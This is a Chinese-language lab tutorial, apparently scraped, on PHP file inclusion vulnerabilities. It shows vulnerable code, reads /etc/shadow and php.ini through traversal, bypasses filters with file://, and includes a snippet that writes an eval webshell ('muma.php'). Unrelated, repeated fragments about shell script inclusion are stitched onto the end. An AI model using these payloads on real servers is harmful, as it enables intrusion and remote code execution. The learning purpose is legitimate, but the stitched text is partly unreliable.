檔案包含漏洞,是指當伺服器開啟allow_url_include選項時,就可以通過php的某些特徵性函式(incllude()、require()、include_once()、require_once()),利用url去動態包含檔案,此時如果沒有對檔案**進行嚴格審查,就會導致可以包含任意的檔案或者任意命令執行。1、漏洞分析檔案包含漏洞分為本地檔案包含和遠端檔案包含,遠端檔案包含漏洞是因為開啟了php配置中的allow_url_fopen選項(選項開啟之後,伺服器允許包含乙個遠端的檔案)。可以在php.ini中設定是否開啟。
<?php
// the page we wish to display
$file = $_get[ 'page' ];
?>
2、探索與漏洞利用
page=/etc/shadow發現是windows系統
page=…\php.ini
建立phpinfo.txt檔案
<?php
phpinfo();
?>
page=發現可以的
<?php
$file = fopen("muma.php","w");
fputs($file,'<?php @eval($_post[hack]);?>')
?>
page=1、漏洞分析成功掛馬
$file = str_replace( array( "../", "..\"" ), "", $file );
將其置為空字元2、利用黑名單漏洞
1、漏洞分析
// input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" )
2、利用file協議繞過
page=file:///…\php.ini1、安全性分析
// only allow include.php or file.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" )
shell 包含檔案
像其他語言一樣,shell 也可以包含外部指令碼,將外部指令碼的內容合併到當前指令碼。shell 中包含指令碼可以使用 filename 或 source filename 兩種方式的效果相同,簡單起見,一般使用點號 但是注意點號 和檔名中間有一空格。例如,建立兩個指令碼,乙個是被呼叫指令碼 sub...
Shell檔案包含
像其他語言一樣,shell 也可以包含外部指令碼,將外部指令碼的內容合併到當前指令碼。shell 中包含指令碼可以使用 filename 或 source filename 兩種方式的效果相同,簡單起見,一般使用點號 但是注意點號 和檔名中間有一空格。例如,建立兩個指令碼,乙個是被呼叫指令碼 sub...
檔案包含漏洞
簡單的來說,就是我們用乙個可控的變數作為檔名並以檔案包含的的方式呼叫了它,漏洞就產生了。以php為例檔案包含漏洞可以分為rfi 遠端檔案包含 和lfi 本地檔案包含漏洞 兩種。而區分他們最簡單的方法就是php.ini中是否開啟了allow url include。如果開啟了可能包含遠端檔案,如果不是...